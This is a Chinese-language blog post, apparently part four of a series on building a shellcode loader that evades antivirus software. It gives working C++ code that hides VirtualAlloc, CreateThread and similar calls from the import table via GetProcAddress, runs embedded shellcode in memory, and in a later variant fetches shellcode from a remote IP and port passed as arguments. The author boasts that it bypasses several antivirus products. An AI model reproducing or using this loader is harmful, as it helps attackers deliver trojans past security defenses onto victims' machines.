这是从0开始写ShellCode加载器的第4篇文章,文章列表,样本demo已上传到GitHub
杀毒软件扫描原理大体上可以分为三种,文件扫描,内存扫描,行为监控。其中文件和内存都是基于特征来进行扫描的。磁盘中的文件可以看作静态特征,内存中的数据可以看作动态特征。那么一个什么样的文件会被识别为病毒木马呢?
在开始此之前我们需要了解一些PE文件结构相关知识:导入地址表
Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。 - 来源百度百科
我们经常听到导出表和导入表两个词,简单来说,导出表的功能是将自身的函数,类等资源供其它程序调用,提供这类功能的程序叫做动态链接库DLL。而导入表的功能帮助程序调用DLL中的资源。
关于PE文件结构的更多信息,可以到我这篇文章中查看。
我们来分析一下第一课代码编译出来的exe文件,使用PEview工具查看。

在文件的导入地址表中,代码中调用的api一览无遗,Virtual Alloc、CreateThread这类函数是杀毒软件重点关注的对象,一个几十kb的程序调用了这些函数,极有可能是木马病毒。
因此我们尝试在PE文件中抹去导入函数的名称。
我们尝试自己定义他们的函数指针,然后利用GetProcAddress获取函数地址,调用自己的函数名称。
自定义函数指针
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 
 | 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 typedef LPVOID(WINAPI* ImportVirtualAlloc)(
 LPVOID lpAddress,
 SIZE_T dwSize,
 DWORD  flAllocationType,
 DWORD  flProtect
 );
 
 
 
 
 typedef HANDLE(WINAPI* ImportCreateThread)(
 LPSECURITY_ATTRIBUTES   lpThreadAttributes,
 SIZE_T                  dwStackSize,
 LPTHREAD_START_ROUTINE  lpStartAddress,
 __drv_aliasesMem LPVOID lpParameter,
 DWORD                   dwCreationFlags,
 LPDWORD                 lpThreadId);
 
 typedef BOOL(WINAPI* ImportVirtualProtect)(
 LPVOID lpAddress,
 SIZE_T dwSize,
 DWORD  flNewProtect,
 PDWORD lpflOldProtect
 );
 
 | 
GetProcAddress函数用法
| 12
 3
 4
 5
 6
 
 | FARPROC GetProcAddress([in] HMODULE hModule,
 [in] LPCSTR  lpProcName
 );
 
 
 
 | 
然后在main函数中,定义四个函数指针来存放这些函数的地址。
| 12
 3
 4
 
 | ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");
 ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
 ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");
 
 | 
接下来在代码中的函数换成自己定义的指针
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 | int main(){int shellcode_size = 0;
 DWORD dwThreadId;
 HANDLE hThread;
 DWORD dwOldProtect;
 char buf[] = "\xfc\xe8\x82\x0\x0\x0\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\xc\x8b\x52\x14\x8b\x72\x28\xf\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x2\x2c\x20\xc1\xcf\xd\x1\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x1\xd1\x51\x8b\x59\x20\x1\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x1\xd6\x31\xff\xac\xc1\xcf\xd\x1\xc7\x38\xe0\x75\xf6\x3\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x1\xd3\x66\x8b\xc\x4b\x8b\x58\x1c\x1\xd3\x8b\x4\x8b\x1\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x1\x8d\x85\xb2\x0\x0\x0\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x6\x7c\xa\x80\xfb\xe0\x75\x5\xbb\x47\x13\x72\x6f\x6a\x0\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x0\x0";
 shellcode_size = sizeof(buf);
 
 char* shellcode = (char*)MyVirtualAlloc(
 NULL,
 shellcode_size,
 MEM_COMMIT,
 PAGE_READWRITE
 );
 
 
 
 memcpy(shellcode, buf, shellcode_size);
 MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
 hThread = MyCreateThread(
 NULL,
 NULL,
 (LPTHREAD_START_ROUTINE)shellcode,
 NULL,
 NULL,
 &dwThreadId
 );
 MyWaitForSingleObject(hThread, INFINITE);
 return 0;
 }
 
 | 
再用peview查看一下新生成的程序

导入表中已经没有Virtual Alloc、CreateThread这些函数了
将隐藏导入表代码和分离免杀的代码合并。检验一下效果。火绒,360静动全过,defender静态过了,动态被杀。暂时不上传virustotal检测了,之前检测率7/65的木马,今天再上传已经是23/65了,看来杀软也在分析标记virustotal上的样本。除了颠覆性的技术出现让所有杀软都检测不出来,免杀大多数时候过主流杀软就可以了。
通过命令行参数将shellcode地址传给程序,避免暴露ip等信息。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | int main(int argc, char* argv[]){
 if (argc != 4) {
 exit(0);
 }
 char* data;
 char *ip = argv[1];
 int port = stoi(argv[2]);
 char *filename = argv[3];
 data = WinGet(ip, port, filename);
 cout << "返回的数据为: " << data << endl;
 cout << argc;
 char* buf = StrToShellcode(data);
 load(buf, 2048);
 }
 
 |